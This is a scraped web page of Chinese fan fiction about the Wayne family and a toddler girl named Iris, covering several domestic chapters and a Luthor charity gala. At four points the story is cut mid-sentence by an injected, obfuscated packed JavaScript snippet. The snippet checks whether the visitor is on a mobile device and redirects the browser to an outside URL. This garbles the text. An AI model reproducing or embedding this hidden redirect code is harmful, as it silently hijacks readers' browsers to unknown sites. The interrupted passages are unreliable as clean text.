后来提姆发现,艾瑞斯经常在观察。 不是那种偷偷摸摸的观察,而是光明正大的——她就站在那里,或者坐在某个角落里,安安静静地看着。看阿福做饭,看迪克练功,看布鲁斯看报纸,看达米安和杰森吵架。 她什么也不说,就只是看。 提姆对这种行为很熟悉。 因为他自己也这样。 3. 那天下午,提姆在客厅里看一部纪录片。 关于深海生物的。画面里是黑暗的海水,发着光的奇怪生物,缓慢游动的巨型鲸鱼。他靠在沙发上,手里端着第二杯咖啡。 然后他感觉到那道视线。 他微微侧过头。 艾瑞斯站在沙发后面,两只手扒着沙发背,只露出半张小脸。那双蓝眼睛盯着电视屏幕,一眨不眨。 提姆没说话。 他继续看纪录片。 艾瑞斯继续扒着沙发背。 一集放完,进入广告。艾瑞斯眨了眨眼睛,像是刚从什么梦里醒过来。 “那个鱼,”她开口,“为什么发光?” 提姆转过头。 “为了吸引猎物。”他说,“也为了找同伴。” 艾瑞斯想了想。 “光不会吓跑它们吗?” “不会。”提姆说,“深海是黑的,有光反而特别。” 艾瑞斯点点头看的很认真。 广告结束,下一集开始。她没有走,继续扒着沙发背。 提姆也没有赶她。 4. 从那以后,提姆发现艾瑞斯开始出现在他附近。 不是故意的那种出现,就是——他在书房处理文件,门口会探出一颗小脑袋。他在客厅看新闻,沙发后面会多出一双扒着的手。他在花园里喝咖啡,旁边的灌木丛后面会传来窸窸窣窣的声音。 她不打扰他。 就只是看着。 提姆觉得这很有意思。 大多数孩子在这个年纪,要么吵着要人陪,要么自顾自地玩。但艾瑞斯不一样。她好像只需要在旁边待着,就能满足。 就像一只小动物。 观察世界的小动物。 5. 有一天,提姆在看一部悬疑片。 剧情很复杂,反转再反转。他一边看一边在心里梳理线索,猜测凶手是谁。 看到一半,他感觉到那道视线。 艾瑞斯又扒在沙发背上了。 提姆看了她一眼。三岁小孩,看悬疑片? 他没说话。 继续看。 电影演到凶手现身的时候,艾瑞斯忽然开口了。 “那个警察是坏的。” 提姆愣了一下。 “你怎么知道?” 艾瑞斯想了想。 “他笑的时候眼睛没笑。” 提姆看着屏幕里那个警察——确实是坏的。 他转过头,重新审视这个扒在沙发背上的小不点。 6. “你还看出什么了?”他问。 艾瑞斯想了想。 “那个女的,她知道凶手是谁。” “为什么?” “她看那个警察的眼神不一样。”艾瑞斯说,“像我看迪克藏起来的好吃的。” 提姆:“……” 这个比喻很奇特,但他听懂了。 电影继续放。后来证明,那个女的确实早就知道——她是凶手的同谋。 提姆看着艾瑞斯。 艾瑞斯看着屏幕。 她不知道自己在三分钟里让一个少年侦探产生了多大的兴趣。 7. 那天之后,提姆开始有意识地给艾瑞斯推荐片子。 不是普通的动画片。是纪录片。是悬疑片。是那些需要动脑子看的东西。 他发现自己很好奇——这个三岁的小孩,到底能看懂多少? 《动物世界》放完,艾瑞斯问:“它们为什么要打架?” “为了争地盘。” “什么是地盘?” “就是……自己的地方。” 艾瑞斯点点头,过了一会儿说:“那我也有地盘吗?” “你有房间。” “那是阿福帮我争的吗?” 提姆想了想这个逻辑,忽然笑了。 “不是。那是你的,不用争。” 艾瑞斯满意地点点头。 8. 《深海探秘》放完,艾瑞斯问:“那些鱼为什么要住在那么黑的地方?” “因为那里安全。” “黑的地方安全?” “对它们来说是的。” 艾瑞斯沉默了一会儿。 “哥谭不黑吗?” 提姆愣了一下。 “哥谭也黑。”他说。 “那哥谭安全吗?” 提姆看着她。 那双蓝眼睛很认真,在等着他的答案。 他不知道该怎么回答。 最后他说:“对一些人来说是的。” 艾瑞斯点点头,没再问。 9. 《犯罪现场调查》放完,艾瑞斯问:“那个人为什么要杀人?” “因为……很多原因。” “比如?” “比如他生气了。或者他想要什么。或者他害怕什么。” 艾瑞斯想了想。 “生气就要杀人吗?” “不是。只有坏人这样。” “什么是坏人?” 提姆发现自己被一个三岁小孩问住了。 他想了想,说:“坏人就是……做了不应该做的事的人。” “谁决定什么是不应该的?” 提姆看着她。 那双蓝眼睛亮晶晶的,是真的在问问题。 “法律。”他说,“还有……良心。” “良心是什么?” “就是心里告诉你‘这个不对’的那个声音。” 艾瑞斯低下头,像是在听自己的心里有没有声音。 过了一会儿,她抬起头。 “我有。”她说。 提姆笑了。 “那就好。” 10. 后来,看片子成了他们之间的固定节目。 不是每天,而是偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250626|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔。提姆有空的时候,会在客厅里放点什么。艾瑞斯会准时出现,扒在沙发背上,或者爬到沙发上挨着他坐。 他们不怎么说话。 就只是看。 但看完之后,艾瑞斯总会问问题。 有时候是简单的:“那个鸟为什么是红色的?” 有时候是奇怪的:“那个人哭的时候,为什么鼻涕也会流出来?” 有时候是让提姆也答不上来的:“如果所有人都觉得一件事是对的,那它就是对吗?” 提姆开始期待这些问题。 他不知道一个三岁小孩的脑袋里装着什么,但每次她问完,他自己也会想很久。 11. 有一天,他们看了一部关于宇宙的纪录片。 星空。银河。黑洞。那些遥远的、人类够不着的地方。 艾瑞斯看得入神。 片子放完,她很久没说话。 提姆以为她睡着了,转过头看。 她睁着眼睛,看着已经变黑的屏幕。 “提姆。” “嗯?” “那些星星,离我们很远吗?” “很远。” “有多远?” “远到……这辈子都到不了。” 艾瑞斯沉默了一会儿。 “那它们还在吗?” 提姆愣了一下。 “什么?” “我们看到的星星,”艾瑞斯说,“是它们很久以前的样子。那它们现在还在吗?” 提姆看着她。 他不知道该怎么回答这个问题。 “有些还在,”他说,“有些已经不在了。” 艾瑞斯点点头。 又过了一会儿。 “那如果我现在看爸爸,”她说,“我看到的是现在的爸爸吗?” 提姆想了想。 “是。” “那如果我看不到他,他就不在了吗?” 提姆的心忽然软了一下。 “不是。”他说,“他还在。只是你看不到。” 艾瑞斯点点头。 她把脑袋靠在他胳膊上,很轻。 “那就好。” 12. 那天晚上,提姆在书房里坐了很久。 他在想那些问题。 一个三岁的小孩,问了他关于宇宙、关于存在、关于距离的问题。他不知道她从哪儿学来的,不知道她为什么要想这些。 但他知道一件事。 这个小女孩,比他想象的要有意思得多。 13. 后来有一次,布鲁斯问他:“你和艾瑞斯在一起的时候,都在干什么?” 提姆想了想。 “看电影。” “什么电影?” “纪录片。悬疑片。科普片。” 布鲁斯沉默了一下。 “她看得懂吗?” 提姆看着他。 “她比我以为的懂很多。”他说,“而且她会问问题。” “什么问题?” 提姆想了想那个关于良心的问题,关于存在的问题,关于光年距离的问题。 “好问题。”他说。 布鲁斯没有说话。 但他嘴角弯了一下,不过又想到了什么变得不开心。 “…那这就意味着她每天看电子产品都超过了规定的四小时,再结合你每天看设备都是很晚的时候而她的精神最近一直不济…那么我想答案已经很明显了。提姆。” 17.日常9(回忆篇) 15. 提姆·韦恩以为自己看透了这个家。 布鲁斯的深沉,迪克的阳光,杰森的暴躁,达米安的傲慢——他都看得清清楚楚。他善于观察,善于分析,善于从细节里拼凑出真相。这是他的本事。 所以他理所当然地以为,自己也能看透一个三岁的小孩。 他错了。 16. 事情的起因很简单。 艾瑞斯最近总来找他。不是偶尔,是每天。不是待一会儿,是一待就是一下午。她扒在沙发背上,或者挨着他坐着,安安静静地陪他看电视。 提姆起初很受用。 这个妹妹不吵不闹,虽然东问西,就是单纯地陪着他。对于一个习惯了独处的人来说,这种陪伴刚刚好——不远不近,存在但不打扰。 他甚至有点感动。 直到布鲁斯与他谈话。 17. 提姆走出书房的时候,感觉自己被整个世界欺骗了。 一个三岁的小孩。 利用了他。 利用了他对陪伴的感动,利用了他不设防的书房,利用了他那张大屏幕电视。 提姆看着她。 忽然就明白了什么叫社会的险恶。 18. 与此同时,艾瑞斯也感受到了社会的险恶。 可恶的布鲁斯。 居然敢揭穿她的布局。 她坐在花园的小板凳上,双手托着腮,表情非常严肃。旁边是杰森,正在给海莉梳毛。 “被发现了?”杰森问。 “嗯。” “布鲁斯?” “嗯。” 杰森吹了声口哨。 “那你打算怎么办?” 艾瑞斯想了想。 “装疯卖傻?”杰森提议,“就说不记得了,不知道,不懂你在说什么。三岁小孩嘛,装傻最管用了。” 艾瑞斯看着他。 那眼神,像在看一个叛徒。 “装疯卖傻?” “对啊。” “有损形象?” 杰森噎了一下。 “……形象?” 艾瑞斯站起来,拍拍裙子上不存在的灰。 “杰森爵士,”她说,“你被流放了。” 杰森愣在原地,看着那个小小的背影啪嗒啪嗒地走远。 海莉抬起头,冲他叫了一声。 像是在嘲笑他。 19. 艾瑞斯决定随机应变。 她是个聪明的小孩。她知道什么时候该进,什么时候该退。现在的情况是——布鲁斯发现了,提姆也知道了。硬撑没有意义。 但认输也不是她的风格。 所以她决定…… 先看看情况。 20. 第二天,提姆在书房里处理文件。 门被推开一条缝。 一颗小脑袋探进来。 提姆抬起头,看着她。 艾瑞斯没有动,就那么在门口站着,像是在等他说话。 提姆指了指布鲁斯房间的方向。 那个手势的意思是:我会告状的。 艾瑞斯看到了。 她沉默了三秒。 然后她推开门,走进来。 21. 提姆挑眉。 有意思。 艾瑞斯走到他面前,站定。她背着手,像是在藏什么东西。脸上的表情很复杂——有点心虚,有点理直气壮,有点“我知道我做错了但我希望你不要生气”的那种小心翼翼。 “有事?”提姆问。 艾瑞斯点点头。 她从背后拿出一样东西。 是一个“图画本”。 封面上画着一只卡通小猫,圆圆的脑袋,大大的眼睛,胡子翘翘的,可爱得很。 提姆看着那只小猫。 又看着艾瑞斯。 艾瑞斯把图画本递给他。 “……嗯。”她说,“其实我本意是找你玩来着。” 提姆没说话。 艾瑞斯低下头,看着自己的脚尖。 “可是一不小心……”她小声说,“目光就移到电视上去了。” 提姆忍着笑。 “对不起。”艾瑞斯把图画本往前递了递,“这是歉礼。” 22. 提姆接过那个图画本。 封面上的小猫画得挺认真,虽然歪歪扭扭,但能看出来是只猫。他翻开第一页。 一只巨大的蟒蛇。 盘踞在树上,张着血盆大口,尖牙上滴着黏液。 提姆翻页。 一只鳄鱼。不对,这不是鳄鱼,是某种他叫不出名字的史前巨兽,牙齿比鳄鱼还长。 翻页。 一只长得像蜥蜴但比蜥蜴大一百倍的东西,正在撕咬什么看不清的猎物。 翻页。 一只熊。不是普通的熊。是那种站起来有三米高的、眼神凶残的、看起来能一巴掌拍碎汽车的大棕熊。 提姆合上图画本。 他看着封面上那只无辜的卡通小猫。 沉默了。 23. “这是你的?” 艾瑞斯点头。 “我特地打印的。” “哪来的图片?” 艾瑞斯沉默了一秒。 “……电脑。” “谁的电脑?” 艾瑞斯又沉默了一秒。 “杰森的。” 提姆深吸一口气。 他就知道。 100%,绝对是杰森帮忙弄的。那些图片的清晰度,那些凶残的角度,那些一看就是从什么野生动物纪录片网站上截下来的高清大图——这不是一个三岁小孩能独立完成的操作。 艾瑞斯只觉得气氛不太对,为她的心头爱解释着。 “这些很酷不是吗?杰森说他也很喜欢…” 他翻回第一页,看着那条史前巨蟒。 韦恩家的家庭教育…… 真的没问题吗? 25. “我以为你会喜欢。”她小声说。 提姆低下头,又翻了翻那个图画本。 蟒蛇。巨兽。棕熊。还有一只他没仔细看的、长得像外星生物的东西。 确实挺可怕的。 他忽然有点想笑。 24. “我收下了。”他说。 艾瑞斯的眼睛亮了一下。 “但是——” 那点亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“看。”他说,“半小时。” 艾瑞斯点点头,她不爱看这种小款的东西。 “那我去准备歉礼。” 提姆愣了一下,还以为她不喜欢。 “什么歉礼?” 艾瑞斯已经走了。 啪嗒啪嗒的光脚声消失在走廊尽头。 28. 提姆坐在书房里,看着那本《昆虫图鉴》。 他想起布鲁斯说的“社会的险恶”。 一个三岁的小孩,用一只卡通小猫做封面的图画本,装满了史前巨兽的照片,作为歉礼送给他。然后在看半小时书之后,平静地说“明天还来”。 他不知道谁更险恶。 但他知道一件事。 明天,他还会等她来。毕竟不能光迪克有特殊待遇。 18.日常10(回忆篇) 1. 阿尔弗雷德·潘尼沃斯第一次见到艾瑞斯,是在她出生后不久。 那时候她还是个皱巴巴的小东西,躺在襁褓里,眼睛都睁不开。布鲁斯抱着她,站在窗前,很久很久没有说话。 阿福站在门口,看着那个背影。 他知道布鲁斯在想什么。 这个孩子不该留在韦恩大宅。不该留在哥谭。不该留在蝙蝠侠身边。她应该有一个正常的家庭,正常的童年,正常的、没有黑暗的生活。 “我会安排。”布鲁斯最后说。 阿福没有反对。 他只是走到他身边,低头看着那个小小的、皱巴巴的脸。 “她会过得好的。”他说。 布鲁斯没有回答。 2. 那是阿福第一次见到艾瑞斯。 第二次,是在两年后。 3. 韦恩大宅的门被推开,一个小小的人影站在门口。 黑色的头发,碎花裙,怀里抱着一只旧泰迪熊。她站在那里,阳光从她身后照进来,在地上投下一道小小的影子。 阿福看着她。 那双眼睛。 蓝色的。晴天的海。 他不会认错。 4. 小女孩站在那里,有些不知道看哪里。 她的目光扫过门厅,扫过楼梯,扫过花瓶,扫过吊灯,最后落在阿福身上。 然后她低下头,看着自己的脚尖。 阿福走过去。 他走得很慢,不想吓到她。走到她面前的时候,他蹲下来,让自己和她一样高。 “小姐,”他说,“我们先去你的房间吧。” 他以为她会沉默。 他以为她会像那些受过创伤的孩子一样,把自己缩在壳里,不说话,不看人,不回应。 但他错了。 小女孩抬起头,看着他。 “好的,阿福爷爷。” 阿福愣住了。 他在这里服务了几十年,被叫过“潘尼沃斯先生”,被叫过“阿福”,被布鲁斯小时候叫过“阿福叔叔”。但从来没有一个人叫他阿福爷爷。 “小姐,”他说,“叫我阿福吧。” 小女孩看着他。 那双蓝色的眼睛眨了眨。 “阿福。” 阿福点点头。 他伸出手。 那只小手搭了上来。 5. 小小的,软软的,但却冰凉。 阿福握着她那只手,站起来。 “走吧,小姐。我带你去看看你的房间。” 6. 楼梯很长。 阿福走得很慢,配合着她的步子。她每上一级台阶,都要把脚抬得很高,然后稳稳地落下去,像是怕摔倒。 阿福看着她那个认真的样子,忽然想起另一个人。 很久以前,也有一个小男孩,在这条楼梯上慢慢地走。 那时候他刚失去父母,穿着黑色的西装,一言不发。阿福牵着他的手,一级一级往上走。他没有哭,没有闹,只是走得很慢,每一步都很稳。 就像现在这个小女孩。 7. “阿福。” “嗯?” “这个楼梯好长。” 阿福低头看她。 她正在数台阶。嘴唇微微动着,一、二、三、四…… “一共二十六级。”他说。 小女孩抬起头,看着他。 “你数过?” “数过很多次。” “为什么?” 阿福想了想。 “因为有人需要我牵着手走上去。”他说,“我想知道还有多少级。” 小女孩点点头。 她继续数。 十七、十八、十九…… 8. 二楼到了。 阿福带她走过走廊,在一扇门前停下来。 “这是你的房间。” 小女孩看着那扇门。 门是白色的,上面什么也没有。没有贴纸,没有画,没有任何属于一个孩子的痕迹。 阿福推开门。 房间很大。有一张床,一个衣柜,一张小桌子,一扇落地窗。阳光从窗户照进来,落在地板上,很亮。 小女孩走进去。 她站在房间中央,转了一圈。 然后她停下来,看着阿福。 “我的?” “你的。” 她低下头,看着怀里的泰迪熊。 “杰瑞也有地方吗?” 阿福愣了一下。 “杰瑞?” 她把泰迪熊举起来。 “杰瑞。” 阿福看着那只旧旧的、绒毛磨得发白的、眼睛松了一颗的泰迪熊。 “当然。”他说,“杰瑞可以睡在枕头上。” 小女孩点点头。 她把泰迪熊放在枕头上,小心翼翼地摆正,让它的头对着天花板。 “好了。”她说。 9. 阿福站在门口,看着她。 她放好泰迪熊,又走到窗边,踮起脚往外看。 “那是花园吗?” “是的。” “有花吗?” “有。很多。” 她点点头,没有继续问。 就那么站在窗边,看着外面。 阿福忽然想起布鲁斯小时候。 他也喜欢站在窗边看外面。看很久,一句话不说。那时候阿福不知道他在想什么。后来他知道了——他在看那个他即将成为的城市。 这个小女孩在看什么? 他不知道。 但他有一种感觉。 她和布鲁斯不一样。 她的眼睛里,没有那种沉沉的、压着的东西。 她的眼睛是晴天的海。 10. “小姐。” 小女孩转过头。 “晚餐七点开始。”阿福说,“你想先休息一会儿,还是想参观一下其他地方?” 小女孩想了想。 “阿福做什么?” 阿福愣了一下。 “我……要准备晚餐。” “那我帮你。” 阿福看着她。 她很认真。 11. 厨房里。 阿福系上围裙,开始准备晚餐。小女孩站在旁边,抱着那只泰迪熊,看着他。 “阿福。” “嗯?” “你在做什么?” “切胡萝卜。” “阿福你喜欢吃胡萝卜吗?” 阿福低头看着手里橙色的胡萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260860|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜。 “它对我们身体有健康,所以我很喜欢。” “哦。”小女孩点点头,“它和其它绿色的菜一样难吃吗?” 阿福的嘴角弯了一下。 “我认为它很美味,你应该尝试一下,小姐。” 12. 过了一会儿。 “阿福。” “嗯?” “那个是什么?” “洋葱。” “它为什么让我想哭?” 阿福转过头。 小女孩正揉着眼睛,看着案板上的洋葱。 “因为它有特殊的……气味。” “不好闻的气味?” “可以这么说。” 小女孩点点头,往后退了一步。 “那让爸爸来切吧,阿福我们一起做别的。” 阿福笑了。 13. 晚餐准备好之后,阿福把菜端上桌。 小女孩坐在椅子上,两条腿够不着地,晃啊晃的。她面前摆着一份小小的餐盘,里面是阿福特意做的小份。 “吃吧。”阿福说。 小女孩拿起勺子,舀了一勺土豆泥。 放进嘴里。 嚼了嚼。 咽下去。 “好吃。”她说。 阿福点点头。 “谢谢哦~阿福。” 他看着那个埋头吃饭的小女孩,这是他应该做的。 不用谢。 在这个大宅里,他做了几十年的饭,听过很多次“谢谢阿福”。 艾瑞斯的谢谢让他觉得有些不一样。 很轻。很真。很普通。 就像普通人家的爷爷和孙女。 14. 那天晚上,阿福去她房间看了看。 她躺在床上,泰迪熊放在枕头边。被子盖得好好的,只露出一个小脑袋。眼睛闭着,呼吸很轻。 阿福站在门口,看了很久。 他想起布鲁斯小时候。 也这样躺着,也这样睡觉。 但那时候,他每次来看,都会想:这个孩子心里装着什么?那些沉甸甸的东西,什么时候会把他压垮? 现在他看着这个小小的身影。 她心里也装着东西。他知道。 但她不一样。 她会好的。 15. 他轻轻关上门。 走廊里很安静。 他走下楼,走进书房。布鲁斯坐在那里,手里拿着什么文件,但没有在看。 “她睡了?”布鲁斯问。 “睡了。” 布鲁斯点点头。 沉默了一会儿。 “阿福。” “嗯?” “她叫我‘爸爸’的时候,我……” 他没说完。 但是看的出他的疲惫,每个孩子都是特别的。 阿福走过去,把手放在他肩上。 “你会是个好父亲的,她认可了你。你是她的爸爸这不会变。”他说。 布鲁斯抬起头。 阿福看着他。 “这一次,”他说,“会不一样的。” 16. 窗外的月光落进来。 很轻。 很淡。 像那个小女孩眼睛里晴天的海。 19.第 19 章 17. 阿尔弗雷德·潘尼沃斯活了很多年。 他见过战争,见过死亡,见过人性最黑暗的角落。他见过韦恩家的兴衰,见过布鲁斯从一个男孩长成一个男人,见过那个男人穿上披风走进夜色。 他以为自己都见过了。 然后那个小女孩走进他的厨房。 18. 早上,阿福一如既往地正在准备早餐。 门被推开一条缝。一颗小脑袋探进来,头发乱糟糟的,蓝眼睛还有点迷糊。 “阿福。” “早安,小姐。” 艾瑞斯走进来,光着脚丫,穿着那件鳄鱼睡衣。她走到他旁边,抱住他的腿,把脸埋在他的围裙里。 阿福停下手里的事,低头看着她。 “还没醒?” “嗯。” “那再醒一会儿。” 他就那么站着,让她抱着。小小的胳膊圈着他的腿,暖暖的,软软的。 厨房里飘着培根的香味,窗外有鸟在叫。 过了一会儿,她抬起头。 “醒了。” “那就去坐好,早餐马上好。” 艾瑞斯点点头,啪嗒啪嗒地走到餐桌旁,爬上她的椅子。 阿福看着那个小小的背影。 他想,如果上帝真的赐下礼物,大概就是这个样子。 19. 后来阿福发现,艾瑞斯有一种奇怪的能力。 她能让人开心。 不是那种热闹的开心,而是一种很轻的、很暖的、不知不觉就出现的东西。 比如她在花园里种花,满手是泥,然后跑进来给他看。指着那朵歪歪扭扭的小花,眼睛亮晶晶的。 “阿福,好看吗?” “狂野派,好看。” “你喜欢吗?” “很喜欢。” 她就笑,露出缺了一颗的门牙。 她会在客厅里看电视,看到一半跑过来,扯扯他的衣角。 “阿福,坐下。” “小姐,我在准备晚餐——” “坐下嘛。” 他就坐下。 她爬到他旁边,挨着他,把脑袋靠在他胳膊上。 “这个节目好看。” “是吗?” “嗯。但是一个人看没意思。” 阿福没有说话。 他只是坐在那里,让她靠着,陪她看那个他根本看不懂的动画片。阿福并不喜欢动画片但那比想的更有意思。 20. 她会在厨房里捣乱。 “阿福,我帮你。” “小姐,你会什么?” “我会……”她想了想,“看着。” 阿福笑了。 “那就看着吧。” 她就搬个小板凳,坐在角落里,看着他切菜、煮汤、调味。偶尔问一些问题,偶尔只是安静地看。 “阿福。” “嗯?” “你做了一辈子饭吗?” “差不多。” “哇!那爸爸好坏啊!” 阿福手里的刀顿了一下。 他看着案板上的胡萝卜,沉默了一秒。 “谢谢你的担心,小姐。”他说。 艾瑞斯点点头。 过了一会儿,她从小板凳上滑下来,走到他旁边,又抱住他的腿。 “如果有需要我会为你发声…”她说的很小声“我昨天刚刚看了一部关于帮助虐待老人的法律片…” 阿福低头看着她…… 小小的脑袋,乱糟糟的头发,蓝眼睛认真地看着他。 小姐啊…… 21. 艾瑞斯对每个人的爱都不一样。 对布鲁斯,是早晨抓衣角,是晚上要抱抱,是在他疲惫的时候安安静静地待在旁边。 对迪克,是一起种花,是一起看蚂蚁搬家,是每个月那一天的独处时光。 对杰森,是那只旧泰迪熊,是在他沉默的时候坐在旁边,是一句直接的“我喜欢你”。 对提姆,是扒在沙发背上看悬疑片,是那些奇奇怪怪的问题,是史前巨蟒图画书。 对达米安,是牵着他的手说“带我回家吧”,是小鳄鱼玩偶放在他书桌上,是不说话但一直在。 对阿福—— 对阿福,是早晨的抱抱,是厨房里的小板凳,是那些简单又直接的陪伴。 22. 阿福和艾瑞斯待在一起有时候会想一些奇怪的事。 比如沙粒和沙漠。 一颗沙粒,什么都不是。但一千颗、一万颗、无数颗沙粒聚在一起,就成了沙漠。沙漠很大,大到看不见边,大到能装下整个世界。 艾瑞斯的爱就是那些沙粒。 她给布鲁斯一颗,给迪克一颗,给杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271134|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森一颗,给提姆一颗,给达米安一颗,给阿福一颗。每一颗都很小,很小,小到让人觉得“只是一点而已”。 但聚在一起,就成了沙漠。 23. 比如星星和天空。 一颗星星,再亮也只是一个小点。但无数颗星星亮起来,就有了夜空。夜空很大,大到能装下所有的梦。 艾瑞斯的爱就是那些星星。 她照亮布鲁斯心里那些黑暗的角落,照亮迪克偶尔的孤单,照亮杰森藏在暴躁底下的柔软,照亮提姆习惯性思考时皱起的眉头,照亮达米安那从不承认的依赖。 也照亮阿福那些漫长的、重复的日子里,最普通不过的瞬间。 24. 阿福活了很多年。 他见过战争,见过死亡,见过人性最黑暗的角落。他以为自己对这个世界已经不抱什么期待了。 但艾瑞斯让他知道,有些不用期待。 25. 晚上,阿福去她房间看了看。 她已经睡着了。泰迪熊放在枕头边,被子踢到一边,露着两条小短腿。月光从窗户照进来,落在她脸上。 阿福走过去,轻轻把被子盖好。 她在睡梦里动了动,翻了个身,抱住泰迪熊。 “晚安阿福…” 阿福愣了一下。 “嗯?” 没有回应。 她只是做梦。梦里有他。 阿福站在床边,看了很久。 月光很淡,很轻,落在她脸上。 他忽然想起很久以前,布鲁斯也这样睡过。那时候他站在床边,想的是:这个孩子要承受什么?那些东西会不会压垮他? 现在他站在这里,看着这个小女孩。 这个世界,因为有她,从此不再沉重。 26. 他轻轻带上门。 走廊里很安静。他走过那些长长的、熟悉的走廊,走下楼梯,走进厨房。 明天还要做早餐。 要煎培根,要热牛奶,要记得不放绿色的东西。 他在料理台前站了一会儿,忽然笑了。 笑得很轻。 他要好好监督大家喝蔬菜汁。 27. 哥谭的夜一如既往地深沉。 韦恩大宅里,永远有一盏灯亮着。 那盏灯很小。 散发着暖光。 20.艾瑞斯·卢瑟3 春天并不寒冷。 大都会的夜风里带着一点暖意,吹过莱克斯大厦前的广场。车一辆接一辆停下,盛装的宾客鱼贯而入。今晚是莱克斯·卢瑟举办的一年一度慈善晚宴,大都会的名流几乎尽数到场。 但今晚真正的主角,此刻还在楼上。 ——— 艾瑞斯站在镜子前,看着里面的人。 她穿着一件浅色的裙子,毛茸茸的,像一只小羊羔。裙摆盖到脚尖,领口有柔软的绒毛,袖口也是。红色的头发被梳得整整齐齐,披在肩上。蓝色的眼睛在灯光下亮晶晶的。 “冷吗?”卢瑟走过来,弯腰摸了摸她的手。 “不冷。” 卢瑟点点头,直起身,看着镜子里的她。 “今晚之后,所有人都会知道你。”他说,“艾瑞斯·卢瑟。” 艾瑞斯看着镜子里的自己,又看着镜子里他。 “好。” 卢瑟伸出手。 她把手搭上去。 ——— 宴会厅里灯火辉煌。 宾客们三三两两地交谈,香槟杯里的气泡轻轻浮动。大门打开的时候,所有人都转过头。 莱克斯·卢瑟走进来,身边跟着一个小小的身影。 那是一个女孩。 浅色的裙子,毛茸茸的,像一只误入人群的小羊羔。红色的头发,蓝色的眼睛,安静地走在他旁边,手被他牵着。 议论声低低地响起。 卢瑟没有说话,只是带着她穿过人群,走向大厅中央。艾瑞斯能感觉到那些目光——好奇的,探究的,惊讶的,意味不明的。它们落在她身上,像无数根细细的针。 她没有躲。 只是走得更稳了一些。 ——— 旋转楼梯之上,艾瑞斯停下了脚步。 她感受着那些视线。 大部分是陌生的。但有一道不一样。 她转过头,往下看去。 人群之中,站着一个男孩。深色的头发,蓝色的眼睛,看起来很年轻,比她大不了多少。他正看着她,表情有些复杂——不是好奇,不是探究,而是别的什么。 像是认识她。 又像是不知道为什么会认识她。 艾瑞斯轻轻抿了抿嘴。 那个男孩对上她的视线,愣了一下,然后低下头。 ——— [那是康纳。]大都会的声音在她脑子里响起,[你父亲的……另一个孩子。] 艾瑞斯没有说话。 她只是又看了那个男孩一眼。 他低着头,没有再抬起来。 ——— 还有一道视线。 和康纳的不一样。那一道更锐利,更沉,像是要把她看穿。 艾瑞斯循着那道视线看过去。 人群边缘,靠近柱子那里,站着一个黑发的男孩。绿色的眼睛,年轻的脸上带着某种与年龄不符的冷峻。他穿着得体的礼服,站在那儿,像是和周围的一切格格不入。 那双绿眼睛正看着她。 带着不可置信。 带着怀疑。 带着某种艾瑞斯读不懂的、很深的东西。 ——— [那是韦恩家的孩子。]大都会说,[达米安·韦恩。哥谭来的。] 艾瑞斯看着那双绿眼睛。 那双眼睛也看着她。 三秒。五秒。十秒。 然后那个男孩移开视线。 但艾瑞斯能感觉到,他还在看她。用一种她说不清的方式。 ——— “怎么了?”卢瑟低头问她。 艾瑞斯收回目光。 “没什么。” 卢瑟顺着她刚才看的方向望去,微微眯起眼睛。但他什么也没说。 只是牵着她,继续往前走。 ——— 宴会继续。 艾瑞斯坐在卢瑟旁边,面前摆着一小份点心。她没有吃,只是看着那些人来人往。 康纳没有再抬头看她。 但达米安·韦恩不一样。 她每次看向他的方向,都能对上那双绿眼睛。然后他移开,然后过一会儿又看过来。 像是在确认什么。 像是在怀疑什么。 像是在找什么他以为不存在的东西。 ——— [他在看你。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283582|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大都会说。 “我知道。” [他认识你?] 艾瑞斯想了想。 “不认识。” [那他为什么一直看?] 艾瑞斯没有回答。 她也不知道。 